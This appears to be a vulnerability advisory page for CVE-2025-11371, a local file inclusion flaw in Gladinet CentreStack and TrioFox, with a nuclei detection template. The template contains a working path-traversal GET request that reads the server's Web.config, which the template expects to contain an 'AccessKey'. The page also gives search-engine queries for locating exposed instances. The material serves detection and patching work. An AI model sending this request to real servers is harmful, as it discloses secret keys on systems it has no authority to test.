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CVE-2025-11371· CWE-552

Gladinet CentreStack & TrioFox - Local File Inclusion

Exploited in the wild. Listed by CISA on 2025-11-04; known to be used by ransomware.

mediumseverity
6.2CVSS score
92.1%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

In the default installation and configuration of Gladinet CentreStack and TrioFox, there is an unauthenticated Local File Inclusion Flaw that allows unintended disclosure of system files. Exploitation of this vulnerability has been observed in the wild. This issue impacts Gladinet CentreStack and Triofox: All versions prior to and including 16.7.10368.56560

Impact

Unauthenticated attackers can disclose sensitive system files, potentially leading to information leakage.

Fix

Update to a version later than 16.7.10368.56560 or the latest available version.

How to confirm it

Send: GET /storage/t.dn?s=..%5C..%5C..%5CProgram+Files+(x86)%5CGladinet+Cloud+Enterprise%5Croot%5CWeb.config&sid=1
Positive when: contains_all(body, "<configuration>", "<system.web>", "AccessKey") and contains(content_type, "application/octet-stream") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-11371 -u <target>

The full check
id: CVE-2025-11371

info:
  name: Gladinet CentreStack & TrioFox - Local File Inclusion
  author: Kazgangap
  severity: medium
  description: |
    In the default installation and configuration of Gladinet CentreStack and TrioFox, there is an unauthenticated Local File Inclusion Flaw that allows unintended disclosure of system files. Exploitation of this vulnerability has been observed in the wild.  This issue impacts Gladinet CentreStack and Triofox: All versions prior to and including 16.7.10368.56560
  impact: |
    Unauthenticated attackers can disclose sensitive system files, potentially leading to information leakage.
  remediation: |
    Update to a version later than 16.7.10368.56560 or the latest available version.
  reference:
    - https://www.huntress.com/blog/gladinet-centrestack-triofox-local-file-inclusion-flaw
    - https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-11371.md
    - https://thehackernews.com/2025/10/from-lfi-to-rce-active-exploitation.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11371
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.2
    cve-id: CVE-2025-11371
    cwe-id: CWE-552
    epss-score: 0.92137
    epss-percentile: 0.99821
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"CentreStack"
    fofa-query: "CentreStack - Login"
  tags: cve,cve2025,gladinet,lfi,centrestack,vkev,vuln,kev

http:
  - raw:
      - |
        GET /storage/t.dn?s=..%5C..%5C..%5CProgram+Files+(x86)%5CGladinet+Cloud+Enterprise%5Croot%5CWeb.config&sid=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<configuration>", "<system.web>", "AccessKey")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from